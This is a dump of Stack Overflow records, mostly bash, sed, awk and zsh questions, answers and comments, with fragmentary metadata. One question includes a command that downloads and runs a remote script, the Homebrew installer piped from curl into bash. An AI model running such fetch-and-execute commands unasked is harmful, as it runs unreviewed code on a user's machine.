--to-path=D:\neo4j_library_5.10&quot; --verbose Unmatched argument at index 4: ' --verbose' Dump a database into a single-file archive. Then I tried to use: neo4j-admin database dump neo4j --to-path=D:\neo4j_library_5.10\ The error message shows: Unmatched argument at i…
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76811134
tagged with: neo4j
possible better answer: http://stackoverflow.com/a/76811134
type: Question
tagged with: powershell

http://stackoverflow.com/a/76817288
downvote count: 0
has comment: http://stackoverflow.com/comment/135424049
upvote count: 1
has comment: http://stackoverflow.com/comment/135424057
type: Answer
answers question: http://stackoverflow.com/q/76817121
has body: You need to match the . after apples too, otherwise the greedy regex will match up until the second occurrence of apples in the second string: $ sed -i "s/named.*apples\./named $new_text1 apples\./g" "$file" $ cat "$file" Student named Conor has 10 apples. Docter says, apples are good for health.
score: 1

http://stackoverflow.com/comment/135269985
comment on: http://stackoverflow.com/q/76722146
has text: Additionally - the exit status code is 0. There is no failure on the call itself - the logging is there and artisan pretends to have ran. But it has not.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135534669
comment on: http://stackoverflow.com/q/76881285
type: Comment
has text: There is no such thing as global environment variable. Environment is per process. It is inherited only by children processes.
score: 4
type: QuestionComment

http://stackoverflow.com/comment/135463421
type: QuestionComment
score: 0
has text: Post your input jpg
comment on: http://stackoverflow.com/q/76839109
type: Comment

http://stackoverflow.com/a/76772712
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76768345
has body: This works as expected echo world | adb shell 'read v; echo "hello $v"' hello world so yours should work too.

http://stackoverflow.com/comment/135482179
type: Comment
comment on: http://stackoverflow.com/q/76850146
has text: @Fravadona : While you are right, I can not find this in the description of the `cd` command in the bash man-page. The man-page only talks about a missing directory name, but leaves the effect of an empty directory name unspecified. Do you happen to know, where this behaviour for empty directory names is defined?
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135540551
score: 0
comment on: http://stackoverflow.com/q/76881285
has text: This is exactly how environment variables are _supposed_ to work; it's not a bug in bash, it's a bug in your script to expect anything different.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135520621
has text: @357up I totally see your point. I was trying to solve OP's request using code as close as possible to theirs without introducing extraneous, possibly confusing, features/niceties or error-checking.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76872927
score: 0

http://stackoverflow.com/comment/135344780
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76771421
has text: You have history-substitution in effect. You can turn it off with `set +H`. And, of course, the double-quotes in the `cat` line are silly, as Charles Duffy already explained.
score: 0

http://stackoverflow.com/a/76835151
score: 0
has body: jot -w 'f1 f2 f3 f4 %d f6' 7 -10 - 5 | gtee >( gcat -b >&2) | 1 f1 f2 f3 f4 -10 f6 2 f1 f2 f3 f4 -5 f6 3 f1 f2 f3 f4 0 f6 4 f1 f2 f3 f4 5 f6 5 f1 f2 f3 f4 10 f6 6 f1 f2 f3 f4 15 f6 7 f1 f2 f3 f4 20 f6 mawk '_!!_ == ($!NF = $5)' nawk '_!!_ == ($+_ = $5)' gawk '_!!_ == ($_ = $5)' 1 0 _!!_ is actually a string concat of empty string _ with numeric zero (!!_) to form string-zero ("0") This approach fails for scenarios like $5 == "00" $5 == "+0"
type: Answer
answers question: http://stackoverflow.com/q/76818101

http://stackoverflow.com/comment/135371968
comment on: http://stackoverflow.com/a/76786923
score: 0
has text: Hi PJH, Thanks for replying .. will it work in case of shell. My script starts with #!/bin/sh. Also I have 4.4.20 version Bash installed in my server.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135489663
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76854869
has text: `$pmsetlist =~ "Battery Power" ` was indeed faster as well
type: Comment

http://stackoverflow.com/comment/135490261
type: QuestionComment
type: Comment
has text: Awesome advice! I decided to use a different route - df already tells me how much space I've used, and to match the right disk I changed the awk to look for /System/Volumes/Data. I did this: `storagepercentused=$(<<<"$storageout" | awk -v drive="/System/Volumes/Data" '$9 == drive {print $5}') `
comment on: http://stackoverflow.com/q/76854869
score: 0

http://stackoverflow.com/q/76728488
has comment: http://stackoverflow.com/comment/135273888
tagged with: bash
type: UnansweredQuestion
has body: I am new to bash. I have a command to calculate the days between given date and current date. This one is working (The given date is a sring): daysToExpiry=$((($(date +%s --date "Oct 15 05:17:34 2023 GMT")-$(date +%s))/(3600*24))) But, I got error "date: extra operand ‘15’" with this command (the same date string in a variable): daysToExpiry=$((($(date +%s --date $expiry)-$(date +%s))/(3600*24))) $expiry is "Oct 15 05:17:34 2023 GMT". I am wondering what's wrong with the using variable $expiry? Thanks!
answer count: 1
has title: Bash calculate days in two date
has answer: http://stackoverflow.com/a/76728587
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/comment/135458151
comment on: http://stackoverflow.com/q/76836431
score: 0
type: QuestionComment
type: Comment
has text: Does this answer your question? [Hide command executed, only show output](https://stackoverflow.com/questions/47523909/hide-command-executed-only-show-output)

http://stackoverflow.com/comment/135323877
comment on: http://stackoverflow.com/a/76757945
score: 1
has text: @PetrichorWang, What pts suggested does not activate a virtual environment. It is a workaround for **not having activated** the virtual environment by explicitly modifying the `PATH` env var to include the directory of the virtual environment that contains its programs. That is sometimes appropriate but probably not in your case. Furthermore, given what you just wrote it is unclear if it would even solve your problem. Sorry, but it is going to take a lot of one-on-one hand holding to help you. Something a SO question isn't suited for.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135498222
type: Comment
has text: Are you maybe running this on Windows? A bad path is a plausible explanation for not being able to find the `chmod` command, but that arising from a flaw inherent in the build system of a CPAN module seems unlikely in the extreme.
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment

http://stackoverflow.com/a/76791269
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76790926
has comment: http://stackoverflow.com/comment/135385912
has comment: http://stackoverflow.com/comment/135386536
has body: You can try: input_arr=(4 5 6 7 9 10 12 14 15 16 18 19 20 22 23 24 25 27 28 29 30) output_arr=() temp_arr=() temp_arr+=(${input_arr[0]}) for ((i=0; i < ${#input_arr[@]}; i++)); do temp=$(expr ${input_arr[i]} + 1) [ "${input_arr[i+1]}" = "$temp" ] && temp_arr+=(${input_arr[i+1]}) [ "${input_arr[i+1]}" != "$temp" ] && [ "${#temp_arr[@]}" -gt 1 ] && output_arr+=("${temp_arr[0]}-${temp_arr[-1]}") && temp_arr=() && temp_arr+=(${input_arr[i+1]}) done echo "${output_arr[@]}" Output: 4-7 9-10 12 14-16 18-20 22-25 27-30 Explanation: Loop over input_arr and keep a temp_arr (initialized with first element of input_arr) for sequential values. As soon as the sequence is broken, save current temp_arr start and end value to output_arr as start-end and reset temp_arr to start with the element that broke sequence (next input_arr array element)
has comment: http://stackoverflow.com/comment/135393117
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135385957

http://stackoverflow.com/comment/135463025
score: 1
has text: This is good, but I'm writing my own alternative that uses `declare -f` as well so the OP doesn't need to add backslashes by hand and worry about whether they were placed everywhere necessary. (For example, here you're vulnerable to shell injections via the value of `TO`, since it wasn't likewise passed through `declare -p` with references escaped).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76837152

http://stackoverflow.com/comment/135319200
type: QuestionComment
type: Comment
has text: Anyhow -- if you can tell us how the alias is defined, we can tell you how to use `subprocess.Popen` (which is the modern replacement; nobody should be using `os.system` anymore) to invoke the target directly without depending on the alias or using sh or bash at all.
score: 0
comment on: http://stackoverflow.com/q/76756050

http://stackoverflow.com/comment/135448351
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76831000
score: 0
has text: ...with bash 5.0, you could also use `cmd="ls -rtl ${1@Q}"` to make something safe to `eval`, or with older versions, `printf -v cmd 'ls -rtl %q' "$1"`

http://stackoverflow.com/comment/135466408
type: Comment
comment on: http://stackoverflow.com/q/76840695
has text: The script in your question cannot produce the output you say it does from the input you show - please correct your question.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135345338
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76771280
has text: (Another difference is that on DOS/Windows, CRLFs only _separate_ lines and the last line isn't expected to have one, whereas on UNIX, LFs _terminate_ lines so a text file isn't valid unless there's a final LF at the end; that's why UNIX tools will sometimes ignore the last line of a text file made on Windows)

http://stackoverflow.com/q/76845788
has comment: http://stackoverflow.com/comment/135479349
has answer: http://stackoverflow.com/a/76848015
linked to: http://stackoverflow.com/q/12136948
type: Question
tagged with: shell
type: UnansweredQuestion
downvote count: 0
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135473571
answer count: 2
has comment: http://stackoverflow.com/comment/135473559
score: 1
tagged with: bash
has answer: http://stackoverflow.com/a/76846238
has comment: http://stackoverflow.com/comment/135474357
has body: I'm trying to pass an install command as an argument to bash script but this specific command segment curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh executing outside my terminal before it executes inside my script. Is there any solution for this. I need to run whatever the command I pass as arguments inside this script. Below is my implementation so far. install_package () { $2 EXITCODE=$? if [ "$EXITCODE" -ne "0" ]; then exit $EXITCODE fi } install_package "brew" "/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)""
has comment: http://stackoverflow.com/comment/135473628
has title: Pass any command to bash script and execute it inside script

http://stackoverflow.com/a/76809643
answers question: http://stackoverflow.com/q/76809509
score: 1
upvote count: 1
has body: Your regexp doesn't match the input because there are differences in whitespace. Rather than trying to match the whole line, just replace the two attributes. sed -i -e "s/port=\"[0-9]*\"/port=\"$port_number\"/" -e "s/redirectPort=\"[0-9]*\"/redirectPort=\"$ui_redirectPort\"/" server.xml
type: Answer
downvote count: 0

http://stackoverflow.com/comment/136206683
comment on: http://stackoverflow.com/q/76854869
score: 0
type: QuestionComment
type: Comment
has text: Turns out the main thing that takes so long, even with Python and psutil, is the CPU percentage - it requires at least like half a second if not a second or two to average the use of the processor. The getloadavg is automatically stored every 5 seconds and averages over 1 minute, 5 minutes, and 15 minutes, and is practically instant. As soon as I took out the top command and used Python & psutil and shutil, everything ran instantly.

http://stackoverflow.com/comment/135458681
comment on: http://stackoverflow.com/a/76835197
score: 2
type: Comment
has text: @glenn jackman, That's no better as it will fail if the JSON contains single quotes. Avoid [code injection](https://en.wikipedia.org/wiki/Code_injection) bugs!
type: AnswerComment

http://stackoverflow.com/comment/135307131
type: Comment
has text: @chepner sure fair point, just interested if there is a way to achieve background job changing the shell state and not blocking the terminal input
comment on: http://stackoverflow.com/q/76749128
score: 0
type: QuestionComment

http://stackoverflow.com/a/76806589
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/76806494
type: Answer
downvote count: 0
has body: Referencing an array variable without a subscript is equivalent to referencing with a subscript of 0. Any reference to a variable using a valid subscript is legal, and bash will create an array if necessary. https://www.gnu.org/software/bash/manual/html_node/Arrays.html So your first case actually checks only for *.doc. To archive your goal you could loop over the arrays to see if the extensions match. You can get the file extension from a filename with only bash with something like ${filename##*.}. (removes anything from value of variable filename until and including the last dot)

http://stackoverflow.com/comment/135336485
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76766553
score: 0
has text: Is `more` installed on your system? Try `\pset pager off` and see what happens.

http://stackoverflow.com/comment/135431840
type: Comment
comment on: http://stackoverflow.com/q/76815964
score: 0
has text: @KurtisRader, I could not possibly disagree more about `set -o errexit` being simpler or safer. See https://mywiki.wooledge.org/BashFAQ/105#Exercises; `set -e` is _terse_, certainly, but it has a wide array of behaviors that are unintuitive, context-dependent and version-dependent; as such, it makes nontrivial code almost impossible to desk-check for correctness. (Also see https://www.in-ulm.de/~mascheck/various/set-e/).
type: QuestionComment

http://stackoverflow.com/comment/135261201
has text: @CharlesDuffy : Well, depends on the definition of _a lot_. In any case, I find your solution more beautiful than mine. May I suggest that you post it as answer?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76721404
score: 1

http://stackoverflow.com/a/76722057
score: 3
type: Answer
downvote count: 0
has body: set -e is a nonissue here: its behavior is disabled inside if and in any other "checked" context; the ! is what's causing your exit status to be suppressed. Take away the !, and move the error handling into an else clause: if ret=$(some_command); then :; else rc=$? echo "<some_command> returned with exit code: $rc" echo "$ret" fi ...or, perhaps more idiomatically (as || branching on a command's exit status also marks it as checked and suppresses set -e): ret=$(some_command) || { rc=$? echo "<some_command> returned with exit code: $rc" echo "$ret" }
upvote count: 3
answers question: http://stackoverflow.com/q/76720948

http://stackoverflow.com/comment/135356454
has text: Creating a react app does require some storage, the error indicates that you don't have enough, make sure you have at least 1 GB available on your system.
score: 0
comment on: http://stackoverflow.com/a/76778205
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76774648
has body: Remember that you are using regex metacharacters. sed -i "s/test.pwd/d" test.txt says "delete any line that has test, then any single character, then pwd". In your file, all of the lines you showed match. Quote the ., and add something that disqualifies non-matching lines. As Paul Pazderski suggested in his very first comment, adding the = does the trick, though more specificity is better. sed -i 's/^test[.]pwd=/d' test.txt will only remove the intended line from your example. If putting your pattern in a variable, be wary of quoting and metacharacters that need backslashes, but for this example, it looks pretty straightforward. $: cat file safe-line=seeMe test.pwd=test@123 test-pwd=keepMe test.pwd.path=/tmp/test test.pwd1.sample=123 $: pat="test.pwd" # loses most lines $: sed "/$pat/d" file safe-line=seeMe $: pat="test.pwd=" # still loses test-pwd $: sed "/$pat/d" file safe-line=seeMe test.pwd.path=/tmp/test test.pwd1.sample=123 $: pat=^test\.pwd= # unquoted string, literal dot - still loses test-pwd $: sed "/$pat/d" file safe-line=seeMe test.pwd.path=/tmp/test test.pwd1.sample=123 $: pat="^test\.pwd=" # works, but some may wonder - why not \\ ? $: sed "/$pat/d" file safe-line=seeMe test-pwd=keepMe test.pwd.path=/tmp/test test.pwd1.sample=123 $: pat="^test[.]pwd=" # works, and clear $: sed "/$pat/d" file safe-line=seeMe test-pwd=keepMe test.pwd.path=/tmp/test test.pwd1.sample=123
answers question: http://stackoverflow.com/q/76774173
has comment: http://stackoverflow.com/comment/135429713
type: Answer
has comment: http://stackoverflow.com/comment/135409654
score: 0

http://stackoverflow.com/q/76783341
has title: I am writing a SH Shell script in Linux RedHat. Can I use "set -x | tee > output.file"?
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76783355
has comment: http://stackoverflow.com/comment/135365335
upvote count: 1
tagged with: set
has answer: http://stackoverflow.com/a/76783356
has comment: http://stackoverflow.com/comment/135365474
has body: At the beginning of my script I have the "set -x" line. This, of course, sends all output to the screen. This is exactly what I like so that I can see what the script is doing and fix issues along the way. Once the script works correctly I comment out the "set -x" line. I would like to tee the output of set -x so that I have a file to look at instead of using the display only. Is there a way to do this? I've tried "set -x | tee ScriptNameHere.DEBUG" and it gives me a file named ScriptNameHere.DEBUG with ZERO bytes in it... an empty file. set -x | tee scriptname.debug set -x | tee -a scriptname.debug All give me a Zero byte file named scriptname.debug.
answer count: 2
downvote count: 0
score: 1
tagged with: bash
tagged with: tee
favorite count: 0

http://stackoverflow.com/a/76775004
answers question: http://stackoverflow.com/q/76770023
downvote count: 0
has body: zsh ships with a function for comparing version numbers: autoload is-at-least is-a-least 2.38 2.0 print $? # =&gt; 1 It can accept dot or dash as the separator, and it looks like it can handle letters as well: #!/usr/bin/env zsh autoload is-at-least tstVer(){ local m=nope is-at-least ${1:?} ${2:?} &amp;&amp; m=WORKS printf 'need: %-6s have: %-6s %s\n' $1 $2 $m } tstVer 0.3 1.0 tstVer 3 4.3-33 tstVer 4.4 4.3-33 tstVer 2.3d 2.3c tstVer 5.3.0 5.3 tstVer 5.3 5.3.0 # =&gt; need: 0.3 have: 1.0 WORKS # =&gt; need: 3 have: 4.3-33 WORKS # =&gt; need: 4.4 have: 4.3-33 nope # =&gt; need: 2.3d have: 2.3c nope # =&gt; need: 5.3.0 have: 5.3 WORKS # =&gt; need: 5.3 have: 5.3.0 WORKS
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/76734273
answers question: http://stackoverflow.com/q/76725490
type: Answer
has body: $ paste -d' ' file[1-3] | awk '{printf "%s %s ", $1, $2; for(i=3; i<=NF; i+=3) printf "%s ", $i; print ""}' | column -t A1 B1 1 5 0 A2 B2 9 8 1 A3 B3 8 4 7 $ paste -d' ' file[1-3] | awk '{printf "%s\t%s", $1,$2; for(i=3; i<=NF; i+=3) printf "\t%s", $i; print ""}' A1 B1 1 5 0 A2 B2 9 8 1 A3 B3 8 4 7
score: 0

http://stackoverflow.com/comment/135423979
score: 1
comment on: http://stackoverflow.com/q/76815168
type: QuestionComment
has text: When you do a `su play`, you get an interactive shell, i.e. one which expects some input. You need to feed something into this shell. If the shell requests the input via stdin, you could try to use input redirection. However, in case you run into time issues with this approach (i.e. that new input is only accepted once the old one has been consumed, and therefore input is lost), you need a tool which can drive interactions. The most common one is [expect](https://wiki.tcl-lang.org/page/Expect), which means that you have to program the interaction in the programming language Tcl.
type: Comment

http://stackoverflow.com/comment/135258185
score: 0
comment on: http://stackoverflow.com/q/76720260
type: Comment
has text: Assuming that `${base_path}/$line` (which should be quoted, in case you have spaces in the name) denotes a directory, `find` processes all plain sql-files in this directory and copies them to `$base_path` (again, quoting advisable). I would for debugging add the options `-iv` to `cp`.
type: QuestionComment

http://stackoverflow.com/comment/135342639
comment on: http://stackoverflow.com/q/76770023
type: QuestionComment
has text: could you add above example as answer here with zsh .. it will help
score: 0
type: Comment

http://stackoverflow.com/comment/135424049
comment on: http://stackoverflow.com/a/76817288
type: Comment
type: AnswerComment
has text: Thanks Paolo. but Is there any other way ?
score: 0

http://stackoverflow.com/comment/135533924
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment
has text: Well, you know the line of the error in this Makefile. You can post here only the relevant portions of it - for instance, the recipe where the error occurs, and those variable settings, which are necessary to understand this recipe.
type: Comment
score: 0

http://stackoverflow.com/a/76804508
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135417926
has comment: http://stackoverflow.com/comment/135416605
type: Answer
has body: Using until loop : #!/bin/bash retry_timer=5 success_timer=120 function check_url_success() { local url=$1 local response=$(curl -s /dev/null "$url") if [ "$response" == "success" ]; then return 0 else return 1 fi } urls=() while IFS= read -r url; do urls+=("$url") done < "sample.txt" for url in "${urls[@]}"; do echo "Trying $url..." until check_url_success "$url"; do echo "Failed. Retrying..." sleep $retry_timer # Add a delay before retrying done echo "Success for $url!" sleep $success_timer # Add a delay of 2 min when curl ping succeeded done
answers question: http://stackoverflow.com/q/76804463
upvote count: 1

output
tags question: http://stackoverflow.com/q/76856169
type: Tag
tag name: output
tags question: http://stackoverflow.com/q/78071285

http://stackoverflow.com/comment/135418491
type: Comment
comment on: http://stackoverflow.com/q/76813452
has text: Interesting! I use zsh (on linux), never needed to export `HOST`, set it on all my machines the first time I install linux on them (and edit `/etc/hosts` on very rare occasions). Running `env` on terminal shows a long list of all environmental variables, `HOST` is not among them.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135251712
type: Comment
comment on: http://stackoverflow.com/q/76715818
score: 0
has text: This is not a sh question or a shell question at all, because expect scripts are not shell scripts; that's why the shell-script approach of just typing the program name and arguments doesn't work. Rather, `expect` is an extension of the TCL language, so your expect scripts need to follow TCL syntax rules, not sh syntax rules.
type: QuestionComment

http://stackoverflow.com/comment/135347827
comment on: http://stackoverflow.com/q/76771421
type: Comment
score: 0
has text: I will try set +H, @Charles Duffy you did not answer my question, its not about discusssing -e option its about or about cat ist about how to echo #!/bin/sh in a file
type: QuestionComment

http://stackoverflow.com/comment/135330761
score: 0
has text: @AminBa If the string you want to process is the output of a command, not a value of a bash variable, please edit your question and explain that. We don't even need the command. Name it `foobar` if you wish. Or replace it with `printf 'feature/test-slash\n'`. But do not ask how to do substitutions in a variable if there is no variable. Example of answer you could get with the proper question: pipe your command to `sed 's!/!-!g'`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76763104

http://stackoverflow.com/comment/135254706
has text: @iRon, have added the pom.xml samples above.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76718065
type: Comment

google-cloud-functions
type: Tag
tag name: google-cloud-functions
tags question: http://stackoverflow.com/q/76712749

http://stackoverflow.com/comment/135417803
comment on: http://stackoverflow.com/q/76813452
score: 1
type: QuestionComment
has text: Now that you fixed the initial problem, use xtrace to see what's going on at runtime -- `sh -x yourscript` to log each command as it's run, so you can see what value for `HOST` is actually being used in practice. The "EDIT"ed code is definitely correct, so I suspect that the `HOST` value isn't what you think it is.
type: Comment

http://stackoverflow.com/comment/135497776
has text: There's a mismatched double quote on the sqlplus line.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76859636

http://stackoverflow.com/comment/135421195
has text: `tail -f` will keep trying to display new information from the file. See if removing the `-f` resolves your problem. Good luck.
comment on: http://stackoverflow.com/q/76815168
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135466320
type: Comment
has text: If your real data doesn't always have the same values in the first 2 fields then you should provide sample input/output that doesn't always have the same values in the first 2 fields. A potential solution tested with your current sample input could produce the expected output but be completely wrong in how it handles differences in the first 2 fields.
comment on: http://stackoverflow.com/q/76840695
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135269980
score: 0
comment on: http://stackoverflow.com/q/76722146
type: QuestionComment
type: Comment
has text: Interestingly enough - it is running against the wrong environment, after an additional verification. So it is not running the artisan that is in the file I am referring to, instead it is running against the artisan of the local folder. Which.. is a problem.

http://stackoverflow.com/comment/135414450
comment on: http://stackoverflow.com/a/76811134
has text: Thank you, but sadly it still doesn't work. The error massage: `Executing command line: D:\jdk-17.0.8\bin\java.exe -cp D:\neo4j\plugins\*;D:\neo4j\conf\*;D:\neo4j\lib\* -XX:+UseParallelGC -XX:-OmitStackTraceInFastThrow -XX:+UnlockExperimentalVMOptions -XX:+TrustFinalNonStaticFields -XX:+DisableExplicitGC -Djdk.nio.maxCachedBufferSize=1024 -Dio.netty.tryReflectionSetAccessible=true -XX:+ExitOnOutOfMemoryError -Djdk.tls.ephemeralDHKeySize=2048` I can't finish the message in one comment, I send the rest in the next comment.
type: Comment
type: AnswerComment
score: 0

ktor
type: Tag
tag name: ktor
tags question: http://stackoverflow.com/q/76786021

http://stackoverflow.com/a/76840667
has comment: http://stackoverflow.com/comment/135465647
downvote count: 0
answers question: http://stackoverflow.com/q/76840291
type: Answer
score: 1
has body: You didn't quote the $( command substitution ) so it got split by IFS characters and treated like an array value by subsequent nested ${} parameter expansions. Being array valued, the ${param%pattern} expansion was applied to each element. Then the result was joined by the first character of IFS due to file3=... being a scalar assignment. This would have happened to the output from any command - it is not specific to basename. The effect would have been more noticeable had the input string contained >1 type of IFS character or >1 sequential IFS character. In zsh you may use the t (tail) or h (head) expansion modifiers, rather than external basename or dirname tools. The r (root) modifier seems to be a better fit for your use case of chomping off the "extension" part: base="/VS/Harry Potter - Hedwig's Theme (Harmonica Ver.) [w2kuM-Rp_IY].info.json" file4=$base:r:r typeset -p file4 It will only act on the tail of the path, so you don't need to do your own split->modify->join processing. file4=$base:F[2]r is another option instead of doubling the :r. That is the F:expr: modifier to repeat the following r modifier 2 times.
upvote count: 1

http://stackoverflow.com/comment/135418500
type: Comment
comment on: http://stackoverflow.com/q/76813452
type: QuestionComment
has text: `sh -x script` shows `+ [ = Nbook ]; + [ = PC ]; + echo Unknown host; Unknown host`
score: 0

http://stackoverflow.com/q/76770526
has title: Executing commands with one pipe in C
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/135343395
has comment: http://stackoverflow.com/comment/135343331
has comment: http://stackoverflow.com/comment/135343143
has comment: http://stackoverflow.com/comment/135351929
has comment: http://stackoverflow.com/comment/135343613
score: 0
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has body: The code is part of a simple shell program in C. First command gets saved in args1 and the second one in args2 The problem is that only the second command gets executed. Most of the code is from this video void run_piped_commands(char user_input[]){ char* args1[64]; char* args2[64]; (user input into arguments...) pid_t pid; int pipefds[2]; int pid1, pid2; if (pipe(pipefds) == -1) { perror("pipe error"); exit(EXIT_FAILURE); } pid1 = fork(); if (pid1 == -1) { perror("fork 1 error"); exit(EXIT_FAILURE); } if (pid1 == 0) //child1 { close(pipefds[0]); dup2(pipefds[1], 1); close(pipefds[1]); execvp(args1[0], args1); perror("child 1 error"); exit(EXIT_FAILURE); } pid2 = fork(); if (pid2 == -1) { perror("fork 2 error"); exit(EXIT_FAILURE); } if (pid2 == 0) //child2 { close(pipefds[1]); dup2(pipefds[0], 0); close(pipefds[0]); execvp(args2[0], args2); perror("child 2 error"); exit(EXIT_FAILURE); } close(pipefds[0]); close(pipefds[1]); waitpid(pid1, NULL, 0); waitpid(pid2, NULL, 0); } I can also post the part of code where user input gets parsed into arguments if necessary

http://stackoverflow.com/comment/135479645
type: Comment
has text: FYI: You can write `dir=$base:h` and `filename=$base:t` which saves 2 child processes.
score: 1
comment on: http://stackoverflow.com/q/76840291
type: QuestionComment

http://stackoverflow.com/q/76793211
score: 2
tagged with: node.js
upvote count: 2
answer count: 0
has body: when I excute this program directly, all exec() shell is working,,,, But,,,, MyStory vv I registered my nodejs program in systemctl, service name is speaker and path is /etc/systemd/system/speaker.service content is [Service] ExecStart=/home/speaker/speakerModule/start.sh WorkingDirectory=/home/speaker/speakerModule User=speaker [Install] WantedBy=multi-user.target And /home/speaker/speakerModule/start.sh content is #!/bin/bash /home/speaker/.nvm/versions/node/v18.13.0/bin/node speaker.js First, I set chmod 775 or +x for systemctl And When i input "systemctl enable speaker" and "systemctl start speaker" service is working.. but when I excute program throgh systemcl, exec() is working about only /usr/local/bin/gpio shell without any other shells Below is my NodeJs Program vV const os = require("os"); const io = require("socket.io-client"); const {exec} = require('child_process'); const osType = os.type(); const RELAY = 26; const SERVER_END_POINT = "http://172.30.1.29:3000"; const PLAYER_CONTROL_ENDPOINT = SERVER_END_POINT + "/api/player"; const SPEAKER_CONTROL_SK_ENDPOINT = SERVER_END_POINT + "/speaker"; console.log(osType); if (osType !== "Linux") { console.log( "해당프로그램은 라즈베리파이OS 및 우분투와 같은 리눅스 기반에서 작동될 수 있습니다" ); return; } function setVolume(volume) { if (volume < 0 || volume > 100) return; if (volume === 0) { exec(`/usr/local/bin/gpio -g write ${RELAY} 0`); } else { exec(`/usr/local/bin/gpio -g write ${RELAY} 1`); } exec(`/usr/bin/amixer -D pulse sset Master ${volume}%`); } const socket = io(SPEAKER_CONTROL_SK_ENDPOINT, { transports: ["websocket"], autoConnect : false }); let reconnectInterval = null; socket.on("connect_error", (error) => { if(!reconnectInterval) { reconnectInterval = setInterval(() => { socket.connect(); console.log("CONNECTING TO SERVER..."); }, 3000); } }); socket.on("connect", (data) => { console.log("connected"); if(reconnectInterval) { clearInterval(reconnectInterval) } }); socket.on("disconnect", () => { socket.connect() }) socket.on("volume…
downvote count: 0
tagged with: child-process
favorite count: 0
type: Question
tagged with: systemctl
has title: why this JsFile can't excute some shell, when systemctl service excution situation
tagged with: shell
tagged with: ubuntu
type: UnansweredQuestion

http://stackoverflow.com/comment/135401512
type: QuestionComment
comment on: http://stackoverflow.com/q/76804463
type: Comment
has text: Please provide enough code so others can better understand or reproduce the problem.
score: 0

http://stackoverflow.com/comment/135489389
score: 0
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment
type: Comment
has text: Could you get the values of $ncpu and $totalmemory once, in your .zshrc, and pass them to this prompt as environment variables? That would mean that your prompt would not update the number of CPUs and total memory until your terminal is closed and re-opened, but that seems like it never happens without at least a restart.

http://stackoverflow.com/a/76820424
answers question: http://stackoverflow.com/q/76815168
type: Answer
has body: I achieved with some workaround based on my scenario. here the full script that works for me: #!/bin/bash cd /home/play/play-1.7.1/cashup-starter ../play stop git config --global --add safe.directory /home/play/play-1.7.1/cashup-starter git fetch origin git reset --hard origin/master ../play start Thanks to everyone that help me to reach the solution
score: 0

http://stackoverflow.com/a/76750087
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76743009
has body: As I was unable to handle it in a shell call I resorted to a python script. I could not wrap my head around how to make use of suggested basename neither had success with using exec instead of execdir. I'd still be interested out of curiosity if some one could provide me a working line of shell code. Until that I will work with the following python code import hashlib, os, sys for root, dirs, files in os.walk(".", topdown=False): for fileName in files: if(not fileName.endswith('.sha256')): # TODO: check if has file already present to only add if not yet computed absPath = os.path.join(root, fileName) hashFileName = "." + fileName + ".sha256" absPathPossibleHash = os.path.join(root, hashFileName) if(os.path.isfile(absPathPossibleHash)): print ("hash file already exists: " + absPathPossibleHash) continue print("fileName : " + fileName) print("root : " + root) print("creating hash of " + absPath) sha256_hash = hashlib.sha256() with open(absPath,"rb") as f: # Read and update hash string value in blocks of 4K for byte_block in iter(lambda: f.read(4096),b""): sha256_hash.update(byte_block) hashLine = sha256_hash.hexdigest() +" " + fileName print(hashLine) with open(os.path.join(root,hashFileName), "w") as hashFile: hashFile.write(hashLine) At least I'm still able to use find to verify my hashes ;) find . -type f -name '.*.sha256' -execdir sh -c 'sha256sum -c "$1"' _ {} \;

http://stackoverflow.com/comment/135473167
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76844233
has text: Thanks a lot! I'm sorry that I cannot mark your answer as useful because I'm new to stackowerflow but with your help I became a little bit smarter) I checked developer's home and found my logs =)

http://stackoverflow.com/comment/135266550
comment on: http://stackoverflow.com/a/76721404
score: 2
type: Comment
type: AnswerComment
has text: @PaulHodges never let Charles and I no longer working together stop you from buying us food :-).

http://stackoverflow.com/comment/135319139
type: QuestionComment
comment on: http://stackoverflow.com/q/76756050
has text: What's the output of `type setq` (in bash)? If it's an alias or a shell function, that's not _expected_ to work in a noninteractive shell. If it's an executable, make sure it's located in a directory listed in `print(os.environ['PATH'])` (in Python).
score: 2
